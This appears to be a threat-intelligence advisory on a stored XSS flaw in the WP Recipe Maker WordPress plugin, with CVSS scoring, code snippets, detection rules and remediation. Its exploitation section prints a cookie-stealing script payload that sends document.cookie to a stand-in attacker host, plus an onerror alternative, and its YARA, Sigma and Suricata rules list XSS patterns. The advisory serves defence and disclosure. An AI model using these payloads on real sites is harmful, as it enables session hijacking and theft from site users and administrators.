CVE-2025-1503

Executive Summary

CVE-2025-1503 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Recipe Maker WordPress plugin, affecting all versions up to and including 9.8.0. The flaw resides in the Roundup Recipe Name field, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. When a user accesses a page containing the malicious payload, the script executes in the context of the victim's browser, potentially leading to session hijacking, data theft, or further compromise.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin is widely used for recipe management, making this a high-impact issue for food blogs and recipe websites.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low privileges required and the lack of user interaction for exploitation. The changed scope indicates that the injected script can affect resources beyond the vulnerable component.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the WordPress plugin ecosystem. The Roundup Recipe Name field is used to create recipe collections. When an attacker with Contributor-level access or higher submits a recipe name containing malicious JavaScript, the plugin fails to properly sanitize the input and escape the output when rendering the page.

The attack flow:

1. Attacker logs in with Contributor-level credentials.
2. Creates or edits a Roundup Recipe, injecting a payload like <script>alert('XSS')</script> into the name field.
3. The payload is stored in the WordPress database.
4. When any user (including administrators) visits the page displaying the recipe, the script executes.

The root cause is the lack of esc_html() or similar escaping functions on the output, combined with insufficient sanitize_text_field() or wp_kses() usage on input.

Vulnerable vs. Patched Code

Vulnerable Code (<= 9.8.0):

// In a template file or shortcode handler
echo $recipe_name; // Direct output without escaping

Patched Code (Hypothetical):

// Properly escaped output
echo esc_html( $recipe_name );

The patch would involve wrapping all instances of $recipe_name output with esc_html() and ensuring input is sanitized with sanitize_text_field() or wp_kses().

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with WP Recipe Maker plugin <= 9.8.0
• Contributor-level account or higher

Exploitation Steps:

1. Log in as a Contributor.
2. Navigate to WP Recipe Maker > Roundup Recipes > Add New.
3. In the "Recipe Name" field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Publish the recipe.
5. Wait for an administrator or visitor to view the recipe page. The script will execute, sending cookies to the attacker's server.

Alternative Payload:

<img src=x onerror="alert('XSS')">

Blue Team

Detection:

• Monitor for unusual recipe names containing <script>, <img onerror>, or other HTML event handlers.
• Review logs for Contributor-level users creating recipes with suspicious content.
• Use WAF rules to block common XSS patterns in POST requests to /wp-admin/admin-ajax.php or recipe creation endpoints.

Hunting:

• Query the WordPress database for posts with post_type = 'wprm_recipe' and post_title containing < or > characters.
• Check for unexpected outbound HTTP requests from the web server.

Indicators of Compromise (IOCs)

• Network:
  • Outbound requests to attacker-controlled domains (e.g., attacker.com/steal)
  • HTTP POST requests to /wp-admin/admin-ajax.php with suspicious payloads in recipe fields
• Host:
  • WordPress database entries in wp_posts where post_type = 'wprm_recipe' and post_title contains HTML/JavaScript
  • Modified plugin files (though unlikely for this stored XSS)
• File:
  • Log entries showing wp_recipe_maker actions with unusual input

Detection Engineering

YARA Rule

rule CVE_2025_1503_WP_Recipe_Maker_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Recipe Maker Roundup Recipe Name"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1503"
    strings:
        $xss_payload_1 = /<script[^>]*>.*?<\/script>/is
        $xss_payload_2 = /<img[^>]+onerror\s*=/is
        $xss_payload_3 = /<svg[^>]+onload\s*=/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in WP Recipe Maker Roundup Recipe Name
id: 8a3f7c2e-5b1d-4a9f-8c6e-2d3f1a0b9c8e
status: experimental
description: Detects stored XSS attempts via Roundup Recipe Name field in WP Recipe Maker
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=wprm_recipe_save'
        cs-uri-query|contains: 'recipe_name'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in recipe names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-1503 WP Recipe Maker Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wprm_recipe_save"; http_client_body; pcre:"/(<script|<img[^>]+onerror|<svg[^>]+onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to the latest version if a patch is released. As of now, no patch is available, so monitor the vendor's site.
2. Disable the Roundup Recipe feature temporarily if not essential.
3. Restrict Contributor-level access to only trusted users.

Long-term Mitigation:

• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Enforce strict input validation and output escaping in all custom code.
• Conduct regular security audits of WordPress plugins.

Workaround:

• Add the following to the theme's functions.php to sanitize recipe names:

add_filter( 'wprm_recipe_name', 'sanitize_text_field' );

Valters IT Signature:

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Valters IT
Advanced Cyber Threat Intelligence
CVE-2025-1503 Analysis
Date: 2025-04-10
Classification: Public
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